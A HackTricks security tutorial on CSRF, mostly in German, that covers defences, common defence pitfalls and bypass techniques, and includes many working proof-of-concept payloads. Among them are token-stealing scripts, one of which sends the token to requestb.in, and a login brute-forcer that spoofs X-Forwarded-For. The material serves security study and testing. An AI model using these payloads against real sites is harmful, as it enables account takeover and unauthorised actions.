CSRF (Cross Site Request Forgery)

Reading time: 22 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) ist eine Art Sicherheitslücke in Webanwendungen. Sie ermöglicht es Angreifern, Aktionen im Namen unverdächtiger Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff tritt auf, wenn ein Benutzer, der in die Plattform des Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, z. B. durch Ausführen von JavaScript, Abschicken von Formularen oder Laden von Bildern.

Prerequisites for a CSRF Attack

Um eine CSRF-Schwachstelle auszunutzen, müssen mehrere Bedingungen erfüllt sein:

  1. Identify a Valuable Action: Der Angreifer muss eine lohnende Aktion finden, wie z. B. das Ändern des Passworts, der E-Mail oder das Erhöhen von Privilegien.
  2. Session Management: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header dafür nicht manipuliert werden können.
  3. Absence of Unpredictable Parameters: Die Anfrage darf keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.

Quick Check

Du kannst die Anfrage in Burp erfassen und die CSRF-Schutzmaßnahmen prüfen. Um im Browser zu testen, kannst du auf Copy as fetch klicken und die Anfrage überprüfen:

Defending Against CSRF

Mehrere Gegenmaßnahmen können implementiert werden, um CSRF-Angriffe zu verhindern:

  • SameSite cookies: Dieses Attribut verhindert, dass der Browser Cookies bei Cross-Site-Anfragen mitsendet. More about SameSite cookies.
  • Cross-origin resource sharing: Die CORS-Policy der Zielseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Auslesen der Antwort der Zielseite erfordert. Learn about CORS bypass.
  • User Verification: Das Abfragen des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
  • Checking Referrer or Origin Headers: Das Validieren dieser Header kann helfen sicherzustellen, dass Anfragen aus vertrauenswürdigen Quellen stammen. Sorgfältig gestaltete URLs können jedoch schlecht implementierte Prüfungen umgehen, z. B.:
    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)
    • Using http://example.com.mal.net (URL starts with the trusted URL)
  • Modifying Parameter Names: Das Ändern von Parameternamen in POST- oder GET-Anfragen kann automatisierte Angriffe erschweren.
  • CSRF Tokens: Das Einbinden eines eindeutigen CSRF-Tokens pro Sitzung und das Erfordern dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS weiter verbessert werden.

Das Verstehen und Umsetzen dieser Schutzmaßnahmen ist entscheidend für die Sicherheit und Integrität von Webanwendungen.

Common pitfalls of defenses

  • SameSite pitfalls: SameSite=Lax erlaubt weiterhin Top-Level-Cross-Site-Navigationen wie Links und Formular-GETs, sodass viele GET-basierte CSRFs weiterhin möglich sind. Siehe Cookie-Matrix in Hacking with Cookies > SameSite.
  • Header checks: Validiere Origin, wenn vorhanden; wenn sowohl Origin als auch Referer fehlen, sicherheitshalber die Anfrage ablehnen. Verlasse dich nicht auf Substring-/Regex-Vergleiche des Referer, die mit Lookalike-Domains oder speziell gestalteten URLs umgangen werden können, und beachte den Trick mit meta name="referrer" content="never".
  • Method overrides: Behandle überschreibene Methoden (_method oder Override-Header) als zustandsändernd und erzwinge CSRF-Prüfungen für die effektive Methode, nicht nur für POST.
  • Login flows: Wende CSRF-Schutz auch auf Login an; andernfalls ermöglicht Login-CSRF erzwungene Re-Authentifizierungen in von Angreifern kontrollierte Accounts, was mit stored XSS verkettet werden kann.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Einige Anwendungen führen CSRF-Validierung nur für POST durch und überspringen sie für andere HTTP-Verben. Ein gängiges Anti-Pattern in PHP sieht folgendermaßen aus:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Wenn der verwundbare Endpoint auch Parameter aus $_REQUEST akzeptiert, kannst du dieselbe Aktion als GET-Anfrage erneut ausführen und das CSRF-Token vollständig weglassen. Dadurch wird eine nur per POST verfügbare Aktion in eine GET-Aktion umgewandelt, die ohne Token erfolgreich ist.

Beispiel:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • Dieses Muster tritt häufig zusammen mit reflected XSS auf, wenn Antworten fälschlicherweise als text/html statt als application/json ausgeliefert werden.
  • Die Kombination mit XSS senkt die Exploit-Hürden erheblich, da du einen einzelnen GET-Link bereitstellen kannst, der sowohl den verwundbaren Codepfad auslöst als auch CSRF-Prüfungen vollständig umgeht.

Lack of token

Applications might implement a mechanism to Token validieren when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

Moreover, some implementations only check that the parameter exists but don’t validate its content, so an empty token value is accepted. In that case, simply submitting the request with csrf= is enough:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

Minimale automatisch absendende PoC (Navigation mit history.pushState verbergen):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token ist nicht an die Benutzersitzung gebunden

Anwendungen, die CSRF tokens nicht an Benutzersitzungen binden, stellen ein erhebliches Sicherheitsrisiko dar. Diese Systeme verifizieren token gegen einen globalen Pool, anstatt sicherzustellen, dass jedes token an die initiierende Sitzung gebunden ist.

So nutzen Angreifer das aus:

  1. Authentifizieren sich mit ihrem eigenen Konto.
  2. Einen gültigen CSRF token erhalten aus dem globalen Pool.
  3. Diesen token verwenden in einem CSRF attack gegen ein Opfer.

Diese Schwachstelle erlaubt es Angreifern, unautorisierte Anfragen im Namen des Opfers zu stellen, indem sie den unzureichenden token-Validierungsmechanismus der Anwendung ausnutzen.

Methode umgehen

Wenn die Anfrage eine "merkwürdige" Methode verwendet, prüfe, ob die method override-Funktionalität arbeitet. Zum Beispiel, wenn sie eine PUT/DELETE/PATCH-Methode verwendet, kannst du versuchen, eine POST zu verwenden und ein Override zu senden, z. B. https://example.com/my/dear/api/val/num?_method=PUT.

Das kann auch funktionieren, indem der _method-Parameter im POST-Body gesendet wird oder indem Override-Header verwendet werden:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Verbreitet in Frameworks wie Laravel, Symfony, Express und anderen. Entwickler überspringen manchmal CSRF bei Nicht-POST-Verben in der Annahme, dass Browser diese nicht absetzen können; mit Overrides erreichst du diese Handler dennoch über POST.

Beispiel-Request und HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Umgehung eines Custom-Header-Token

Wenn die Anfrage einen custom header mit einem token zur Anfrage als CSRF protection method hinzufügt, dann:

  • Teste die Anfrage ohne den Customized Token und auch den header.
  • Teste die Anfrage mit exakt gleicher Länge, aber anderem token.

Anwendungen können CSRF-Schutz implementieren, indem sie den token sowohl in einem cookie als auch in einem request parameter duplizieren oder indem sie ein CSRF cookie setzen und prüfen, ob der im backend gesendete token dem Cookie entspricht. Die Anwendung validiert Anfragen, indem sie überprüft, ob der token im request parameter mit dem Wert im Cookie übereinstimmt.

Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen aufweist, die es einem Angreifer erlauben, ein CSRF cookie im Browser des Opfers zu setzen, z. B. eine CRLF-Schwachstelle. Der Angreifer kann dies ausnutzen, indem er ein täuschendes image lädt, das das Cookie setzt, und danach den CSRF-Angriff initiiert.

Unten ein Beispiel, wie ein Angriff strukturiert sein könnte:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Beachte, dass wenn der csrf token mit dem session cookie verknüpft ist, dieser Angriff nicht funktionieren wird — du müsstest dem Opfer deine session setzen und würdest dich damit selbst angreifen.

Content-Type-Änderung

Laut this, um preflight-Anfragen bei Verwendung der POST-Methode zu vermeiden, sind folgende Content-Type-Werte erlaubt:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Beachte jedoch, dass die Server-Logik je nach verwendetem Content-Type variieren kann, daher solltest du die genannten Werte und auch andere wie application/json,text/xml, application/xml. ausprobieren.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Umgehung von Preflight-Anfragen für JSON-Daten

Beim Versuch, JSON-Daten über einen POST-Request zu senden, ist die Verwendung von Content-Type: application/json in einem HTML-Formular nicht direkt möglich. Ebenso löst die Nutzung von XMLHttpRequest, um diesen Content-Type zu senden, eine Preflight-Anfrage aus. Es gibt jedoch Strategien, um diese Einschränkung womöglich zu umgehen und zu prüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:

  1. Use Alternative Content Types: Verwende Content-Type: text/plain oder Content-Type: application/x-www-form-urlencoded, indem du enctype="text/plain" im Formular setzt. Dieser Ansatz prüft, ob das Backend die Daten unabhängig vom Content-Type nutzt.
  2. Modify Content Type: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, kannst du die Daten mit Content-Type: text/plain; application/json senden. Das löst keine Preflight-Anfrage aus, könnte aber vom Server korrekt verarbeitet werden, wenn dieser so konfiguriert ist, application/json zu akzeptieren.
  3. SWF Flash File Utilization: Eine weniger verbreitete, aber mögliche Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Beschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe this post.

Referrer / Origin-Prüfung umgehen

Referrer-Header vermeiden

Anwendungen validieren möglicherweise den 'Referer'-Header nur, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-meta-Tag verwendet werden:

xml
<meta name="referrer" content="never">

Das stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch Validierungsprüfungen in einigen Anwendungen möglicherweise umgangen werden.

Regexp bypasses

URL Format Bypass

Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Im ersten Teil von this CTF writeup wird erklärt, dass Oak's source code, ein Router so eingestellt ist, handle HEAD requests as GET requests mit no response body - ein gängiger Workaround, der nicht auf Oak beschränkt ist.
Anstatt eines speziellen Handlers, der sich mit HEAD reqs beschäftigt, werden sie einfach given to the GET handler but the app just removes the response body.

Daher, wenn ein GET request eingeschränkt wird, könntest du einfach send a HEAD request that will be processed as a GET request.

Exploit Examples

Stored CSRF via user-generated HTML

Wenn rich-text editors oder HTML injection erlaubt sind, kannst du einen persistierenden passiven fetch einbetten, der ein verwundbares GET endpoint anspricht. Jeder Benutzer, der den Inhalt ansieht, führt die Anfrage automatisch mit seinen cookies aus.

  • Wenn die App einen globalen CSRF token verwendet, der nicht an die user session gebunden ist, kann derselbe token für alle Benutzer funktionieren, wodurch stored CSRF über verschiedene Opfer hinweg zuverlässig wird.

Minimal example that changes the viewer’s email when loaded:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF kombiniert mit stored XSS

Login CSRF allein kann geringen Impact haben, aber in Kombination mit einem authentifizierten stored XSS wird es mächtig: zwinge das Opfer, sich in ein vom Angreifer kontrolliertes Konto einzuloggen; sobald der Kontext hergestellt ist, führt ein stored XSS auf einer authentifizierten Seite aus und kann tokens stehlen, die session hijacken oder Privilegien eskalieren.

  • Stelle sicher, dass der Login-Endpoint CSRF-able ist (kein per-session token oder origin check) und dass keine Benutzerinteraktionsprüfungen dies verhindern.
  • Nach dem erzwungenen Login automatisch zu einer Seite navigieren, die das stored XSS payload des Angreifers enthält.

Minimaler login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Exfiltrieren von CSRF Token

Wenn ein CSRF token als Schutz verwendet wird, kannst du versuchen, es zu exfiltrieren, indem du eine XSS Schwachstelle oder eine Dangling Markup Schwachstelle ausnutzt.

GET mit HTML-Tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Weitere HTML5-Tags, die automatisch eine GET-Anfrage senden können, sind:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Formular GET-Anfrage

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Formular-POST-Anfrage

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Formular-POST-Anfrage über iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST-Anfrage

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST-Anfrage

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST-Anfrage v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Formular-POST-Anfrage innerhalb eines iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF-Token stehlen und eine POST-Anfrage senden

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Token stehlen und eine POST-Anfrage mit iframe, form und Ajax senden

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Token stehlen und eine POST-Anfrage mithilfe von iframe und form senden

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Token stehlen und mit 2 iframes senden

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF-Token mit Ajax stehlen und einen POST mit einem Formular senden

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF mit Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Der Code kann verwendet werden, um ein Login-Formular mithilfe eines CSRF-Tokens per Brute Force anzugreifen (er verwendet außerdem den Header X-Forwarded-For, um eine mögliche IP-Blacklisting zu umgehen):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Werkzeuge

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks